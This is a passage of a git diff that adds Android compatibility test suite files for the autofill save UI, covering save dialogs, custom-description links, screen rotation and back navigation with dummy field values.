+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.activities.TrampolineWelcomeActivity;
+import android.autofillservice.cts.activities.WelcomeActivity;
+import android.autofillservice.cts.commontests.CustomDescriptionWithLinkTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.UiBot;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import java.util.regex.Pattern;
+
+public class PreSimpleSaveActivityTest
+        extends CustomDescriptionWithLinkTestCase<PreSimpleSaveActivity> {
+
+    private static final AutofillActivityTestRule<PreSimpleSaveActivity> sActivityRule =
+            new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
+
+    public PreSimpleSaveActivityTest() {
+        super(PreSimpleSaveActivity.class);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<PreSimpleSaveActivity> getActivityRule() {
+        return sActivityRule;
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap back to restore the Save UI...
+        mUiBot.pressBack();
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                mUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
+                        "108");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Make sure previous session was finished.
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        if (manualRequest) {
+            newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+        } else {
+            newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure linked activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        switch (type) {
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivityOnNewTask(PreSimpleSaveActivity.class);
+                mUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivityOnNewTask(LoginActivity.class);
+                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                mUiBot.pressBack();
+                mUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity(false);
+        mActivity.mPreInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder.setCustomDescription(
+                        newCustomDescription(TrampolineWelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Go back and make sure it's showing the right activity.
+        // first BACK cancels save dialog
+        mUiBot.pressBack();
+        // second BACK cancel WelcomeActivity
+        mUiBot.pressBack();
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final CustomDescription.Builder customDescription =
+                            newCustomDescriptionBuilder(WelcomeActivity.class);
+                    final RemoteViews update = newTemplate();
+                    if (updateLinkView) {
+                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+                    } else {
+                        update.setCharSequence(R.id.static_text, "setText", "ME!");
+                    }
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_PRE_INPUT);
+                    final Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
+                    customDescription.batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update).build());
+                    builder.setCustomDescription(customDescription.build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java
new file mode 100644
index 0000000..65d85bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java
@@ -0,0 +1,1929 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.TEXT_LABEL;
+import static android.autofillservice.cts.testcore.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
+import static android.autofillservice.cts.testcore.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.LARGE_STRING;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.SecondActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity.FillExpectation;
+import android.autofillservice.cts.activities.TrampolineWelcomeActivity;
+import android.autofillservice.cts.activities.ViewActionActivity;
+import android.autofillservice.cts.activities.WelcomeActivity;
+import android.autofillservice.cts.commontests.CustomDescriptionWithLinkTestCase;
+import android.autofillservice.cts.testcore.AntiTrimmerTextWatcher;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.DismissType;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.MyAutofillId;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+import java.util.regex.Pattern;
+
+public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase<SimpleSaveActivity> {
+
+    private static final AutofillActivityTestRule<SimpleSaveActivity> sActivityRule =
+            new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
+
+    private static final AutofillActivityTestRule<WelcomeActivity> sWelcomeActivityRule =
+            new AutofillActivityTestRule<WelcomeActivity>(WelcomeActivity.class, false);
+
+    public SimpleSaveActivityTest() {
+        super(SimpleSaveActivity.class);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
+        return sActivityRule;
+    }
+
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(sActivityRule).around(sWelcomeActivityRule);
+    }
+
+    private void restartActivity() {
+        final Intent intent = new Intent(mContext.getApplicationContext(),
+                SimpleSaveActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mActivity.startActivity(intent);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select dataset.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+        autofillExpecation.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testAutoFillOneDatasetAndSave_largeAssistStructure() throws Exception {
+        startActivity();
+
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.mInput.setAutofillHints(LARGE_STRING, LARGE_STRING, LARGE_STRING));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        final ViewNode inputOnFill = findNodeByResourceId(fillRequest.structure, ID_INPUT);
+        final String[] hintsOnFill = inputOnFill.getAutofillHints();
+        // Cannot compare these large strings directly becauise it could cause ANR
+        assertThat(hintsOnFill).hasLength(3);
+        Helper.assertEqualsToLargeString(hintsOnFill[0]);
+        Helper.assertEqualsToLargeString(hintsOnFill[1]);
+        Helper.assertEqualsToLargeString(hintsOnFill[2]);
+
+        // Select dataset.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+        autofillExpecation.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode inputOnSave = findNodeByResourceId(saveRequest.structure, ID_INPUT);
+        assertTextAndValue(inputOnSave, "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+
+        final String[] hintsOnSave = inputOnSave.getAutofillHints();
+        // Cannot compare these large strings directly becauise it could cause ANR
+        assertThat(hintsOnSave).hasLength(3);
+        Helper.assertEqualsToLargeString(hintsOnSave[0]);
+        Helper.assertEqualsToLargeString(hintsOnSave[1]);
+        Helper.assertEqualsToLargeString(hintsOnSave[2]);
+    }
+
+    /**
+     * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
+     * tests the integration of Autofill with Accessibility.
+     */
+    @Test
+    public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+
+        // Select dataset...
+        mUiBot.selectDataset("YO");
+
+        // ...and assert autofilled values.
+        final UiObject2 input = mUiBot.assertShownByRelativeId(ID_INPUT);
+        final UiObject2 password = mUiBot.assertShownByRelativeId(ID_PASSWORD);
+
+        assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
+        // TODO: password field is shown as **** ; ideally we should assert it's a password
+        // field, but UiAutomator does not exposes that info.
+        final String visiblePassword = password.getText();
+        assertWithMessage("'password' should not be visible").that(visiblePassword)
+            .isNotEqualTo("pass");
+        assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
+
+        // Trigger save...
+        input.setText("ID");
+        password.setText("PASS");
+        mUiBot.assertShownByRelativeId(ID_COMMIT).click();
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSave() throws Exception {
+        saveTest(false);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_afterRotation() throws Exception {
+        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveTest(true);
+        } finally {
+            try {
+                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            }
+        }
+    }
+
+    private void saveTest(boolean rotate) throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        if (rotate) {
+            // After the device rotates, the input field get focus and generate a new session.
+            sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+            mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+            saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    /**
+     * Emulates an app dyanmically adding the password field after username is typed.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testPartitionedSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // 1st request
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Set 1st field but don't commit session
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
+        mUiBot.assertSaveNotShowing();
+
+        // 2nd request
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_INPUT, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+    }
+
+    /**
+     * Emulates an app using fragments to display username and password in 2 steps.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testDelayedSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // 1st fragment.
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE).build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger delayed save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveNotShowing();
+
+        // 2nd fragment.
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                // Must explicitly set visitor, otherwise setRequiredSavableIds() would get the
+                // id from the 1st context
+                .setVisitor((contexts, builder) -> {
+                    final AutofillId passwordId =
+                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
+                    final AutofillId inputId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
+                    builder.setSaveInfo(new SaveInfo.Builder(
+                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                            new AutofillId[] {inputId, passwordId})
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill on second "fragment"
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger delayed save.
+        mActivity.syncRunOnUiThread(() -> {
